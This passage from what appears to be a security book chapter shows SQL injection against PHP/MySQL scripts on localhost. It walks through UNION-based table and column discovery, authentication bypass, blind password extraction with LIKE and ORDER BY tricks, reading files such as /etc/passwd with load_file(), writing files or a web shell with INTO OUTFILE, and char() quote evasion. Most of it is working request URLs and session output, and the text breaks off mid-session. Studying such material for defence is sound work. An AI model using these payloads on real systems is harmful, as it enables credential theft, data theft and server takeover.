http://localhost/3/12.php?id=1123))+UNION+select+1 , 2,3+from+table2/*
http://localhost/3/12.php?id=1123))+UNION+select+1 , 2,3+from+testl /*
http://localhost/3/12.php?id=1123))+UNION+select+1,2,3+from+passwords /*

In the second SELECT subquery, the attacker would try possible table names. There would be no attempt to retrieve information from the tables because the names of the columns would be missing from the queries.

Although no information is retrieved from the tables, the table requested in the second subquery should exist so that the query can complete successfully.

As a result, only the HTTP requests that include correct table names won't cause errors in SQL queries.

In this example, only the third and the fourth requests won't result in an empty HTML page. Because an empty page in this example indicates an error in the SQL query, the attacker can infer that the investigated database contains the test1 and passwords tables but is missing the table1 and table2 tables.

It would be tedious to try all possible table names. Even if the attacker writes a program to automate the process, the results are likely to be poor.

However, the attacker will try user , users , password , passwords , orders , purchases , and other names that could be related to the specific of the investigated site or server. He or she can guess some table names by examining the HTML code of the pages generated by the server.

After the attacker finds the name of a table, he or she is likely to try to find the names of its columns:

http://localhost/3/12.php?id=1123))+UNION+select+ 1, 2,id+from+passwords /*
http://localhost/3/12.php?id=1123))+UNION+select+ 1 ,2,name+from+ password /*
http://localhost/3/12.php?id=1123))+UNION+select+ 1, 2,pass+from+ passwords /*
http://localhost/3/12.php?id=1123))+UNION+select+ 1 ,2,password+ from+passwords /*

As with the previous HTTP requests, the absence of an error in a particular SQL query will indicate that a column with the submitted name exists in the table.

The attacker can try the names manually or using a program that has a list of possible names. In any case, the attacker could guess, which column names are likely to be in the table being investigated.

In addition, it is possible to guess the names by examining the HTML code of the pages generated by the server. For example, the names of HTTP GET , POST , and COOKIE parameters are often the same as the column names in a table accessed using these parameters. The names of hidden form parameters often coincide with the names of database tables.

Even if the names of parameters available in the HTML code of the page don't coincide with the names of tables and table columns, the attacker can analyze the names given by the programmer to components of the system.

Thus, the attacker can find certain naming trends. These can be abbreviations, transliteration, preference to a particular language, and so on.

The names of the parameters can be found in the HTML code of the page and in the HTTP headers of the server's response.

Consider an example of how the MySQL server responds when the second subquery contains existing and nonexistent names of tables and table columns:

 su-2.05b# mysql -u root Welcome to the MySQL monitor. Commands end with  ;   or \g. Your MySQL connection id is 178 to server version: 4.0.18 Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> use book1; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> -- http://localhost/3/12.php?id=1123 mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123) and 1); +----+------+------------------------------+  id  xid   value                         +----+------+------------------------------+   1  1123  a few possible values         +----+------+------------------------------+ 1 row in set (0.00 sec) mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+1,2,3+from+tablel/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select 1,2,3 from tablel/*) and 1); ERROR 1146: Table 'book1.tablel' doesn't exist mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+1,2,3+from+passwords/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select 1,2,3 from passwords/*) and 1) ; +----+------+----------------------------+  id  xid   value                       +----+------+----------------------------+   1  1123  a few possible values       +----+-----+-----------------------------+ 1 row in set (0.00 sec) mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+1,2, id+from+passwords/* mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select 1,2,id from passwords/*) and 1); +----+------+----------------------------+  id  xid   value                       +----+------+----------------------------+   1  1123  a few possible values       +----+------+----------------------------+ 1 row in set (0.00 sec) mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+1,2,pass+from+passwords/ * mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select 1,2,pass from passwords/*) and 1); +----+------+-----------------------------+  id  xid   value                        +---+----+--------------------------------+   1  1123  a few possible values        +----+------+-----------------------------+ 1 row in set (0.00 sec) mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+1,2,name+from.+passwords/ * mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION select 1,2,name from passwords/*) and 1); ERROR 1054: Unknown column 'name' in 'field list' mysql>

By this time, the attacker already has enough answers to retrieve information from the database by exploiting the SQL injection vulnerability in the SELECT queries sent to the MySQL 4.x database server.

Warning

This method cannot be used for retrieving information from the MySQL 3.x database. MySQL 3.x doesn't allow you to use UNION , JOIN , and other constructions.

Sometimes, injection is possible after the LIMIT keyword and not only in the WHERE clause. Injection in this point can be detected when a script takes parameters that determine, which page and how many lines should be displayed. These values are often set using a drop-down list with integer values.

The attacker will try to embed malicious values that replace the valid ones because programmers often neglect filtration and forget that the types of these values can be changed implicitly by editing the HTML code of the page and changing the HTTP request.

Consider an example that demonstrates how MySQL responds to various constructions after the LIMIT keyword:

 -bash-2.05b$ mysql -u root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 5 to server version: 4.0.18 Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> use book1; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> select * from test1 limit 1,2; +------+-----------------------+  id    name                   +------+-----------------------+  2     Tom Brown               3     Peter Black            +------+-----------------------+ 2 rows in set (0.01 sec) mysql> select * from test1 limit 1,2-1; ERROR 1064: You have an error in your SQL syntax. Check the manual that correspondsto your MySQL server version for the right syntax to use near '-1' at line 1 mysql> select * from test1 limit 1,(2-1); ERROR 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '(2-1)' at line 1 mysql> select * from test1 limit 1/*,(2-1); +------+-----------------------+  id  name                     +----+-------------------------+   1  John Smith               +----+-------------------------+ 1 row in set (0.00 sec) mysql> select * from test1 limit 1+1/*,(2-1); ERROR 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '+1/*,(2-1)' at line 1 mysql> select * from test1 limit (1+1)/*,2-1; ERROR 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '(1+1)/*,2-1' at line 1 mysql> select * from test1 limit 1,2 union select 1,2; +----+-------------------------+  id  name                     +----+-------------------------+   2  Tom Brown                  3  Peter Black                1  2                        +----+-------------------------+ 3 rows in set (0.02 sec) mysql> select * from test1 limit 1,0 union select 1,2/*; +----+------+  id  name  +----+------+   1 + 2     +----+------+ 1 row in set (0.00 sec) mysql> select * from test1 limit 9999,0 union select 1,2/*; +----+------+  id  name  +----+------+   1  2     +----+------+ 1 row in set (0.00 sec) mysql> select * from test1 limit 2 union select 1,2/*; +----+---------------------+  id  name                 +----+---------------------+   1  John Smith             2  Tom Brown              1  2                    +----+---------------------+ 3 rows in set (0.00 sec) mysql> select * from test1 limit 0 union select 1,2/*; +----+------+  id  name  +----+------+  1   2     +----+------+ 1 row in set (0.00 sec) mysql>

Thus, the attacker can find that embedding mathematical expressions after LIMIT cause errors. This puts certain restrictions on such queries. Therefore, even if the parameter value isn't within apostrophes or quotation marks, the attacker cannot identify queries by replacing parameter values with mathematical expressions.

In addition, the attacker won't be able to embed Boolean constructions and any functions.

However, if the MySQL server's version is 4.x and later, the attacker will be able to embed an additional SELECT query using the UNION construction as usual.

If the server's version is 3.x, the only thing the attacker can do is to try to save the results of a malicious query into a file by using the SELECT ... INTO OUTFILE construction. This construction is comprehensively described later in this chapter.

MySQL 3.x and Stolen Data

Because MySQL 3.x lacks a construction such as UNION , everything I told you in the previous section is only true for MySQL 4.x.

When a vulnerability is in a SELECT query, the only thing the attacker can do is to embed Boolean constructions containing column names into a query. In some cases, the attacker will be able to obtain information about the values in these columns.

Consider an example.

http://localhost/3/14.php
<? $pass=$_GET["pass"]; if(empty($pass)) { echo " <form> enter the password <input type=text name=pass><input type=submit> </form> "; exit; }; mysql_connect("localhost", "root", ""); mysql_select_db("bcok1"); $sq="select * from passwords where pass='$pass'"; while($sq<>($sql=preg_replace("/union/i", "", $sq))) $sq=$sql; $q=mysql_query($sq); if(!$q) die(); if($r=mysql_fetch_object($q)) echo "Hello, $r->login"; else echo "The user not found"; ?>

http://localhost/3/14.php

 <?   $pass=$_GET["pass"];   if(empty($pass))   {   echo "   <form>   enter the password <input type=text name=pass><input type=submit>   </form>   ";   exit;   };   mysql_connect("localhost", "root", "");   mysql_select_db("bcok1");   $sq="select * from passwords where pass='$pass'";   while($sq<>($sql=preg_replace("/union/i", "", $sq))) $sq=$sql;   $q=mysql_query($sq);   if(!$q) die();   if($r=mysql_fetch_object($q))     echo "Hello, $r->login";   else echo "The user not found"; ?>

As you can see, this example looks like the examples you considered earlier. I have demonstrated that such scripts have the SQL injection vulnerability.

However, this code includes a line that deletes all the UNION constructions from the query. Therefore, the vulnerability is similar to a third-version vulnerability, in which the UNION constructions cannot be used.

The investigation methods described earlier will show that a vulnerability is in the SELECT query after the WHERE construction. The parameter value is between the apostrophes, and they aren't filtered.

After doing some research, the attacker will be able to embed any WHERE constructions into the query:

http: // localhost / 3 / 14.php?pass=aaa'+or+l/*
http: // localhost / 3 / 14.php?pass=aaa'+AND+1/*
http: // localhost / 3 / 14.php?pass=aaa'+or+0/*

The first request demonstrates that the attacker can pass authorization as the first user even when he or she doesn't know the password.

Using the LIMIT construction, he or she can pass authorization as a random user

http://localhost/3/14.php?pass=aaa'+or+l+limit+0,l/*
http://localhost/3/14.php?pass=aaa'+or+l+limit+l,l/*
http://localhost/3/14.php?pass=aaa'+or+l+limit+2, 1 /*

This is how the attacker can pass authorization as a random user.

Exploiting this vulnerability, the attacker can know how many records the table contains. To do this, he or she would use dichotomizing search:

http://localhost/3/14.php?pass=aaa'+or+l+limit+10,1/*
http://localhost/3/14.php?pass=aaa'+or+l+limit+5,1 /*
http: // localhost/3/14.php?pass=aaa'+or+l+limit+3,1/*
http: // localhost / 3 / 14.php?pass=aaa'+or+l+limit+4,1/*

Because the third and fourth requests didn't cause an error and the second request did, the attacker can infer that four records are in the table being investigated.

To obtain the names of table columns used in the query, the attacker can try possible names in Boolean constructions:

http://localhost/3/14.php?pass=aaa'+or+l/*
http: // localhost/3/14.php?pass=aaa'+or+name=name/*
http: // localhost/3/14.php?pass=aaa'+or+login=login/*
http: // localhost/3/14.php?pass=aaa'+or+password=password/*
http: // localhost/3/14.php?pass=aaa'+or+pass=pass/*

And so on.

A request that doesn't cause an error (in this case, the welcome message) indicates that the column name it uses is present in the table being investigated.

Sometimes, when two or more tables are accessed in a query, it might be necessary to specify the name or an alias of the table in the query:

http://localhost/3/14.php?pass=aaa'+or+1/*
http://localhost/3/14.php?pass=aaa'+or+passwords.name=passwords.name/*
http://localhost/3/14.php?pass=aaa'+or+passwords.login=passwords.login /*
http://localhost/3/14.php?pass=aaa'+or+passwords.password= passwords.password/*
http://localhost/3/14.php?pass=aaa'+or+passwords.pass= passwords.pass/*

And so on.

In this example, the attacker is lucky to find the pass and login column names.

Now, I'll demonstrate how an attacker can find any user's password and a particular user's password (e.g., the password of the superadmin user).

The LIKE construction makes it possible to try the password characters one by one. To try all characters of the password, the attacker can send a series of requests such as the following:

http://localhost/3/14.php?pass=aaa'+or+pass+like+'a% '/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'b%' /*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'c% /*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'p%'/*

And so on.

The last request shown causes the system prompt for the admin user. This means this user's password begins with the p character.

The other characters can be found in a similar manner:

http://localhost/3/14.php?pass=aaa'+or+pass+like+'pa%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'paa%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pab%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pac%'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pas%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pasa%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pasb%'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'pasw%'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'passadmin%'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'passadminl%'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'passadminl %'/*

The last request causes a message informing the user that access was rejected. This means the entire password has been found.

If the actual password was at least one character longer than the submitted password, this character would match the underscore character and the remaining characters would possibly match the percentage sign.

In some cases, it is best to use the dichotomizing search with the comparison operations rather than the LIKE construction. Remember that in MySQL the rows are sorted lexicographically :

http://localhost/3/14.php?pass=aaa'+or+pass+>+'r'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'f/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'k'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'o'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'s'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'p'/*

The other characters in the password can be found in a similar manner :

http://localhost/3/14.php?pass=aaa'+or+pass+>+'pr'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'pg'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'pb'/*
http://localhost/3/14.php?pass=aaa'+or+pass+>+'pa'/*

And so on.

Don't forget that a password can contain digits and other characters in addition to letters . This is how the attacker can find the password of one user of a database.

Suppose he or she wants to obtain superadmin's password. The method of finding the password of any user involves finding a database record with certain limitations. Similarly, the attacker can restrict the output so that only the desired user is sought:

http://localhost/3/14.php?pass=aaa'+or+pass+like+'a%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'b%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'c%'+and+login=
'superadmin'/ *
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'z%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+ '1 %'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'2%'+and+login= 'superadmin'/*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'2a%'+and+login= 'superadmin'/*
...
http://localhost/3/14.php?pass=aaa'+or+pass+like+'2l%'+and+login= ' superadmin' /*
http://localhost/3/14.php?pass=aaa'+or+pass+like+'2m%'+and+login='superadmin'/ *

And so on, until the password is found.

Naturally, this method can hardly be used in practice. It is much less effective than the use of the UNION construction in MySQL 4.x. However, this is the only way of retrieving information when the MySQL 3.x server is accessed.

Now, consider a situation, in which SQL queries are sent to MySQL 3.x and a weakly-filtered parameter is positioned after the ORDER BY keywords.

Consider the http://localhost/3/17.php script.

After some investigation, the attacker will find that the f GET parameter is subject to SQL injection. He or she will find the type of the SQL query using an HTTP request.

http://localhost/3/17.php?f=login'
sort by id: name select * from passwords order by login' asc You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' asc' at line 1 Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in x:\localhost.php on line 21

http://localhost/3/17.php?f=login'

 sort by id: name select * from passwords order by login' asc You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' asc' at line 1 Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in x:\localhost.php on line 21

If it was the MySQL 4.x database server, the attacker could use the UNION SELECT construction. However, I assume this is version 3.x.

In addition, I assume that the attacker isn't interested in writing to a file. He or she wants to retrieve information from the database (e.g., the password of the superadmin user).

Later in this chapter, I'll tell you how to exploit SQL injection in MySQL when working with files.

In this situation, the attacker cannot use the method described earlier that involves embedding Boolean constructions and conditions after the WHERE construction. However, he or she can use MySQL's ability to sort records by values, not only by the names of rows.

In addition, the attacker knows that MySQL converts Boolean values to zero and one. Therefore, he or she can use Boolean expressions with the column names to disclose certain information about the values of the columns.

The following example illustrates how the attacker can know whether an embedded Boolean expressions is true.

http://localhost/3/17.php?f=id
sort by id: name 1: admin 2: user1 3: user2 4: superadmin

http://localhost/3/17.php?f=-id
sort by id: name 4: superadmin 3: user2 2: userl 1: admin

*http://localhost/3/17.php?f=-id(1=1)**
sort by id: name 4: superadmin 3: user2 2: user1 1: admin

*http://localhost/3/17.php?f=-id(1=0)**
sort by id: name 1: admin 2: user1 3: user2 4: superadmin

Looking at how the rows are sorted, the attacker can know whether the Boolean expressions are true. After that, he or she will probably try every character of a field, in which he or she is interested. Alternatively, the attacker could use dichotomizing search.

To find superadmin 's password, the attacker can make the following series of requests (the results will be sorted first by the values of the Boolean expressions and then by the id values).

*http://localhost/3/17.php?f=-id(pass+%3E=+'1')**
sort by id: name 4: superadmin 3: user2 2: user1 1: admin

*http://localhost/3/17.php?f=-id(pass+%3E=+'2')**
sort by id: name 4: superadmin 3: user2 2: user1 1: admin

*http://localhost/3/17.php?f=-id(pass+%3E=+'3')**
sort by id: name 3: user2 2: user1 1: admin 4: superadmin

These requests show that the first character in the password of the superadmin user is most likely 2 . The remaining characters are found in a similar manner.

*http://localhost/3/17.php?f=-id(pass+%3E=+'2m_84%%60fd')**
sort by id: name 4: superadmin 1: admin 2: user1 3: user2

*http://localhost/3/17.php?f=-id(pass+%3E=+'2m_84%%60fe')**
sort by id: name 4: superadmin 1: admin 2: user1 3: user2

*http://localhost/3/17.php?f=-id(pass+like+'2m\_84%%60fd%')**
sort by id: name 4: superadmin 1: admin 2: userl 3: user2

*http://localhost/3/17.php?f=-id(pass+like+'2m\_84%%60fd_%')**
sort by id: name 1: admin 2: user1 3: user2 4: superadmin

This is how an attacker can find the password of any user. In this example, the password of the superadmin user is 2m_84%'fd.

My SQL and Files

MySQL offers a few file functions that can be used in SQL queries. When the SQL injection vulnerability is in the system, the attacker can embed these functions to perform malicious actions with files.

The load_file() MySQL function takes the name of a file as a parameter and returns the contents of the file. To exploit this function, the user should have the file priv access rights. The user should pass the function the absolute path to the file, and the file should be available for reading to any user.

The function behaves like any other function. It returns a value that can be output or used in the WHERE construction.

Here is an example of exploiting the vulnerability with this function:

http://localhost/3/15.php

This script takes the id parameter and inserts it into an SQL query. The preliminary investigation is the following:

http://localhost/3/15.php?id= 1
http://localhost/3/15.php?id=99
http://localhost/3/15.php?id=abc
http://localhost/3/15.php?id= 1'
http://localhost/3/15.php?id= 1+union+select+null
http://localhost/3/15.php?id=1+union+select+null,null
http://localhost/3/15.php?id=999999+union+select+11,22
http://localhost/3/15.php?id=999999+union+select+1,vesion()
http://localhost/3/15.php?id=999999+union+select+l,database()
http://localhost/3/15.php?id=999999+union+select+l,user()

The last three requests demonstrate how the attacker can obtain the values of any function.

Using the load_file() function in a similar manner, the attacker can obtain the contents of any file in the system (with the presumptions stated earlier):

http://localhost/3/15.php?id=999999+union+select+ 11 ,load_file('X:/localhost/3/passwd.txt')
http://localhost/3/15.php?id=999999+union+select+ 1 l,load_file('/etc/passwd')
http://localhost/3/15.php?id=999999+union+select+ 11,load_file('any_file')

This is how the attacker obtains information about any file.

Note that in Windows, the path to a file should include the disk name. In Unix-like operating systems, the path should be the full path from the server root.

The attacker is likely to be interested in the names of directories on the server.

Consider an example that illustrates how MySQL responds to various file names sent to the load_file() function:

 -bash-2.05b$ mysql -u root    Welcome to the MySQL monitor. Commands end with  ;   or \g.    Your MySQL connection id is 225 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> use book1    Reading table information for completion of table and column names    You can turn off this feature to get a quicker startup with -A    Database changed    mysql> select load_file('/tmp/rl');    +------------------------------+     load_file('/tmp/rl')             +------------------------------+     file content                     +------------------------------+    1 row in set (0.00 sec)    mysql> select load_file('/tmp/r2') ;    +------------------------------+     load_file('/tmp/r2')             +------------------------------+    NULL                              + -----------------------------+    1 row in set (0.00 sec)    mysql> select load_file{'/tmp/not-exists');    +------------------------------+     load_file('/tmp/not-exists')     +------------------------------+     NULL                             +------------------------------+    1 row in set (0.00 sec)    mysql> select load_file{'/tmp/');    +------------------------------+     load_file('/tmp/')               +------------------------------+                                      +------------------------------+    1 row in set (0.00 sec)    mysql> select load_file{'/not-exists/');    +------------------------------+     load_file('/not-exists/')        +------------------------------+     NULL                             +------------------------------+    1 row in set (0.00 sec)    mysql> select load_file{'/tmp/rr/');    +------------------------------+     load_file('/tmp/rr/')            +------------------------------+     NULL                             +------------------------------+    1 row in set (0.00 sec)

In summary, the server's responses are as follows: If the file exists and is available for reading to all the users, the file contents are returned. If the attacker tries to load a nonexistent file or a file unavailable for reading, the function will return NULL . Using this function in Boolean constructions, the attacker can determine whether a file exists and is available for reading even if MySQL 3.x is used:

http://localhost/3/15.php?id=1+AND+load_file('/etc/passwd')+ is+not+NULL
http://localhost/3/15.php?id=1+AND+load_file('/etc/master.passwd')+ is+not+NULL

Consider a case, in which an attempt is made to open a directory as a file.

Remember that according to the research done earlier, in Unix-like operating systems a directory is a common file that can be opened with functions such as fopen() .

As practice shows, when the load_file() function is called with a directory name as a parameter in a Unix-like operating system, it returns an empty value.

If the name of a nonexistent directory is passed to the function, it returns NULL .

Therefore, the attacker can know the names of directories on the server. As previously, he or she would specify the full path to the directory from the server root.

This method works only in Unix-like operating systems.

To find whether a particular directory exists on the server, the attacker is likely to make the following series of requests to the HTTP server:

http://localhost/3/15.php?id= 1 +AND+load_file('/etc/')+is+not+NULL
http://localhost/3/15.php?id= 1 +AND+load_file('/home/')+is+not+NULL
http://localhost/3/15.php?id= 1 +AND+load_file('/tmp/')+is+not+NULL
http://localhost/3/15.php?id= 1 +AND+load_file('/usr/')+is+not+NULL
http://localhost/3/15.php?id= 1 +AND+load_file('/usr/bin/')+is+not+NULL
http://localhost/3/15.php?id= 1 +AND+load_file('/usr/sbin/')+is+not+NULL

And so on.

As practice shows, when the attacker tries to use the load_file() function to obtain the contents of a file whose name is the name of a directory (regardless of whether the directory exists), the function returns NULL . Therefore, this method for detecting directories on the server is suitable only for Unix-like operating systems.

Note that the parameter passed to the load_file() function can be any expression whose value can be interpreted as text.

SQL implemented in the MySQL database server includes another construction for working with files. This is the SELECT ... into outfile ' filename ' clause.

The syntax of the SELECT statement is as follows:

 SELECT [STRAIGHT_JOIN]           [SQL_SMALL_RESULT]  [SQL_BIG_RESULT]  [SQL_BUFFER_RESULT]           [SQL_CACHE  SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] [HIGH_PRIORITY]           [DISTINCT   DISTINCTROW   ALL]         select_expression,...         [INTO {OUTFILE  DUMPFILE} 'file_name' export_options]         [FROM table_references           [WHERE where_definition]           [GROUP BY {unsigned_integer  col_name  formula} [ASCDESC], ...]           [HAVING where_definition]           [ORDER BY {unsigned_integer  col_name  formula} [ASC  DESC], ...]           [LIMIT [offset,] rows]           [PROCEDURE procedure_name]           [FOR UPDATE  LOCK IN SHARE MODE]]

As you can see, the INTO OUTFTLE construction should precede the WHERE keyword. This construction directs the result of the query to a file on the server.

The result of an SQL query is output to the file specified with the INTO OUTFILE construction only if the following requirements are met:

The user should have the file_priv privilege.
The file shouldn't exist on the server.
The directory, in which the file is created, should be available for writing to all users.
The full path to the file from the server root should be specified.

As for the second item, note the following: Even if the file exists and is available for writing to all users, and even if the directory containing it is available for writing to all users, MySQL won't change the contents of this file.

The file created will be available for reading and writing to all the users in the system. In a Unix-like operating system, the file will have access rights as follows: - rw- rw- rw-. That is, it doesn't have execution rights.

Consider a few examples of how SQL queries with the INTO OUTFTLE construction are executed:

 -bash-2.05b$ mysql -u root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 2 to server version: 4.0.18 Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> use book1; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> select 123 into outfile '/tmp/111'; ERROR 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 mysql> select 123 into outfile '/tmp/112' from test1; Query OK, 4 rows affected (0.02 sec) mysql> select 123 into outfile '/tmp/113' from not-exists; ERROR 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'not-exists' at line 1 mysql> select 123 from test1 into outfile '/tmp/114'; Query OK, 4 rows affected (0.00 sec) mysql> select 123 into outfile /tmp/121 from test1; ERROR 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '/tmp/121 from testl' at line 1 mysql> select concat('/tmp/','123'); +-----------------------+  concat('/tmp/','123')  +-----------------------+  /tmp/123               +-----------------------+ 1 row in set (0.00 sec) mysql> select 234 into outfile (concat('/tmp/','123')) from test1; ERROR 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '(concat('/tmp/','123')) from test1' at line 1 mysql> select * from test1 where id=1 into outfile '/tmp/134'; Query OK, 1 row affected (0.02 sec) mysql> select * from test1 where id=9999 into outfile '/tmp/136'; Query OK, 0 rows affected (0.00 sec) mysql> select * from test1 where id=9999 union select NULL,NULL,'abcd' into outfile '/tmp/138'; ERROR 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 mysql> select * from test1 where id=9999 union select NULL,'abcd' into outfile '/tmp/138' from testl; Query OK, 1 row affected (0.00 sec) mysql> select * from testl where id=9999 union select NULL,'abcd' from testl into outfile '/tmp/139'; Query OK, 1 row affected (0.00 sec)

This example allows you to draw the following conclusions concerning the response of MySQL to SELECT queries with the INTO OUTFTLE construction:

To avoid errors in the SQL query, the query should include the from tablename construction. A query without from is considered erroneous.
Despite the documented description of the SELECT statement's syntax, the INTO OUTFTLE construction can be put either before the FROM keyword or at the end of the query.
Unlike the load_file() function that can take an expression as an argument, the select INTO OUTFTLE construction doesn't allow the use of expressions.
The file name should be a string between apostrophes or quotation marks.
The INTO OUTFTLE construction can be used in queries combined using the UNION construction. The second query containing the INTO OUTFILE construction should also contain FROM TABLE .

Therefore, the following requirements can be placed on the use of this function:

The attacker likely would be able to embed values between apostrophes or quotation marks into a query. In other words, these characters shouldn't be filtered.
The attacker needs to know the name of at least one database table, to which he or she has the select_priv access rights.
If the attacker has rights for reading from the system database, this table name can be mysql. user , which is available on each MySQL server.
The table name can be compound; that is, it can consist of the database name and the table name.
The user who sends queries to the database server should have the file_priv privilege.
The target file shouldn't exist.
The target directory should be available for writing to all users.

When these requirements are met, the attacker can create a file with any contents on the server. For example, he or she can create PHP shell code in a directory accessible from the Web to obtain the ability to execute any commands with the rights of the Web server.

However, the attacker needs to know the full path to a directory accessible from the Web and available for writing. The attacker could find the location of the http_base directory using other vulnerabilities that possibly exist on the server and that would disclose paths to files.

To find directories available for writing, the attacker is likely to check directories containing pictures or banners, directories with files uploaded using the HTTP POST method, and some other directories available using HTTP.

In addition, if the local PHP source code injection vulnerability is on the server, the attacker can create a file in any folder available for writing and then include this file in a script vulnerable to local PHP source code injection.

Remember that in most cases, the TMP folder is available for reading to all the users in Unix-like operating systems.

The select ... into outfile construction can also be used in MySQL 3.x.

The attacker can save the result of the query in a file as described earlier. However, the advantage of this operation is questionable because it will be difficult for the attacker to create a query returning necessary values.

If a vulnerability is in a forum, the attacker could embed malicious code (e.g., PHP shell) into a message in the forum. Then, he or she would create a query returning the text of this message and saving it in a file on the server.

Solving Problems

When trying to exploit a vulnerability such as PHP source code injection, the attacker often encounters problems.

In the most frequent situation, the value of a weakly-filtered parameter isn't between apostrophes or quotation marks and these characters inside the value are filtered. The SQL injection vulnerability will be present in this case, but the attacker will be unable to create a query containing apostrophes or quotation marks.

The use of apostrophes or quotation marks in queries to enclose a string constant can be advantageous for the attacker. However, the attacker can avoid embedding the string directly and can use functions that return string data but don't require apostrophes or quotation marks in their arguments.

The char() function is an example of such a function. It takes integer arguments and returns a string consisting of characters whose ASCII codes are the integers passed to the function.

Consider an example that uses this function:

 -bash-2.05b$ mysql -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 11 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> select 'hello';    +----------+     hello        +----------+     hello        +----------+    1 row in set (0.00 sec)    mysql> select char(104,101,108,108,111);    +---------------------------+     char(104,101,108,108,111)     +---------------------------+     hello                         +---------------------------+    1 row in set (0.02 sec)    mysql>

This is how the attacker can avoid a string between two apostrophes, by embedding the char() function into an SQL query where it is possible to use expressions instead of strings. This is possible in the WHERE constructions, in the parameters of functions such as load_file() , and to the right of the LIKE construction.

The following examples illustrate the features of the char() function:

 -bash-2.05b$ mysql  -u root    Welcome to the MySQL monitor. Commands end with ; or \g.    Your MySQL connection id is 15 to server version: 4.0.18    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.    mysql> select char(47,116,109,112,47,112,97,115,115,119,100);    +---------------------------------------------------------------+    char(47,116,109,112,47,112,97,115,115,119,100)                     +---------------------------------------------------------------+     /tmp/passwd                                                       +---------------------------------------------------------------+    1 row in set (0.00 sec)    mysql> select load_file(char(47,116,109,112,47,112,97,115,115,119,100));    +--------------------------------------------------------------+     load_file(char(47,116,109,112,47,112,97,115,115,119,100))        +--------------------------------------------------------------+    #password file    admin:sd5j03    user:f45bfsf    guest:guest    +--------------------------------------------------------------+    1 row in set (0.00 sec)    mysql> select char(97,98,99,37);    +--------------------------------------------------------------+     char(97,98,99,37)                                                +--------------------------------------------------------------+     abc%                                                             +--------------------------------------------------------------+    1 row in set (0.00 sec)    mysql> select 'abcdef' like char(97,98,99,37);    +---------------------------------+     'abcdef' like char(97,98,99,37)     +---------------------------------+                                   1     +---------------------------------+    1 row in set (0.00 sec)    mysql> select 'abdcef' like char(97,98,99,37);    +---------------------------------+     'abdcef like char(97,98,99,37)      +---------------------------------+                                   0     +---------------------------------+    1 row in set (0.00 sec)    mysql> select 111 from mysql.user;    +-----+     111     +-----+     111     +-----+    5 rows in set (0.03 sec)    mysql> select 111 from mysql.user into outfile '/tmp/555';    Query OK, 5 rows affected (0.01 sec)    mysql> select char(47,116,109,112, 47, 53,53,56) ;    +-----------------------------------------------------------+     